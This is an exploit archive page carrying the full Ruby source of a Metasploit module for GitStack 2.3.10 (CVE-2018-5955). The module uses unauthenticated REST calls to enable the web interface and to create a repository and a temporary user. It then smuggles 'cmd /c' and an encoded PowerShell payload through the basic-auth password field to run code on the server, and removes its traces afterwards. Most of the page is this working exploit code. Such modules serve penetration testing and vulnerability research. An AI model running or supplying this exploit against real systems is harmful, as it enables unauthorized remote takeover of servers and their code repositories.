what you don't know can hurt you

GitStack 2.3.10 Unsanitized Argument Remote Code Execution

GitStack 2.3.10 Unsanitized Argument Remote Code Execution
Posted Mar 29, 2018
Authored by Kacper Szurek, Jacob Robles | Site metasploit.com

This Metasploit module exploits a remote code execution vulnerability that exists in GitStack versions through 2.3.10, caused by an unsanitized argument being passed to an exec function call. This Metasploit module has been tested on GitStack version 2.3.10.

tags | exploit, remote, code execution
advisories | CVE-2018-5955
MD5 | 49755cb9eaacfa1dd03551ad9d5a3b70

GitStack 2.3.10 Unsanitized Argument Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
'Name' => 'GitStack Unsanitized Argument RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability that
exists in GitStack through v2.3.10, caused by an unsanitized argument
being passed to an exec function call. This module has been tested
on GitStack v2.3.10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'References' =>
[
['CVE', '2018-5955'],
['EDB', '43777'],
['EDB', '44044'],
['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DisclosureDate' => 'Jan 15 2018',
'DefaultTarget' => 0))
end

def check_web
begin
res = send_request_cgi({
'uri' => '/rest/settings/general/webinterface/',
'method' => 'GET'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end

if res && res.code == 200
if res.body =~ /true/
vprint_good('Web interface is enabled')
return true
else
vprint_error('Web interface is disabled')
return false
end
else
print_error('Unable to determine status of web interface')
return nil
end
end

def check_repos
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'GET',
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
mylist = res.get_json_document
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return nil
end

if mylist.length == 0
vprint_error('No repositories found')
return false
else
vprint_good('Repositories found')
return mylist
end
else
print_error('Unable to determine available repositories')
return nil
end
end

def update_web(web)
data = {'enabled' => web}
begin
res = send_request_cgi({
'uri' => '/rest/settings/general/webinterface/',
'method' => 'PUT',
'data' => data.to_json
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
end
end

def create_repo
repo = Rex::Text.rand_text_alpha(5)
c_token = Rex::Text.rand_text_alpha(5)
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'POST',
'cookie' => "csrftoken=#{c_token}",
'vars_post' => {
'name' => repo,
'csrfmiddlewaretoken' => c_token
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
return repo
else
print_status('Unable to create repository')
return nil
end
end

def delete_repo(repo)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end

if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Failed to delete repository')
end
end

def create_user
user = Rex::Text.rand_text_alpha(5)
pass = user
begin
res = send_request_cgi({
'uri' => '/rest/user/',
'method' => 'POST',
'vars_post' => {
'username' => user,
'password' => pass
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("Created user: #{user}")
return user
else
print_error("Failed to create user")
return nil
end
end

def delete_user(user)
begin
res = send_request_cgi({
'uri' => "/rest/user/#{user}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Delete user unsuccessful')
end
end

def mod_user(repo, user, method)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/user/#{user}/",
'method' => method
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Unable to add/remove user from repo')
end
end

def repo_users(repo)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/user/",
'method' => 'GET'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
users = res.get_json_document
users -= ['everyone']
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
users = nil
end
else
return nil
end
return users
end

def run_exploit(repo, user, cmd)
begin
res = send_request_cgi({
'uri' => '/web/index.php',
'method' => 'GET',
'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),
'vars_get' => {
'p' => "#{repo}.git",
'a' => 'summary'
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
end

def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110

web = check_web
repos = check_repos

if web.nil? || repos.nil?
return
end

unless web
update_web(!web)
# Wait for interface
sleep 8
end

if repos
pwn_repo = repos[0]['name']
else
pwn_repo = create_repo
end

r_users = repo_users(pwn_repo)
if r_users.present?
pwn_user = r_users[0]
run_exploit(pwn_repo, pwn_user, command)
else
pwn_user = create_user
if pwn_user
mod_user(pwn_repo, pwn_user, 'POST')
run_exploit(pwn_repo, pwn_user, command)
mod_user(pwn_repo, pwn_user, 'DELETE')
delete_user(pwn_user)
end
end

unless web
update_web(web)
end

unless repos
delete_repo(pwn_repo)
end
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    60 Files
  • 2
    Apr 2nd
    20 Files
  • 3
    Apr 3rd
    10 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    0 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    0 Files
  • 9
    Apr 9th
    0 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    0 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    0 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close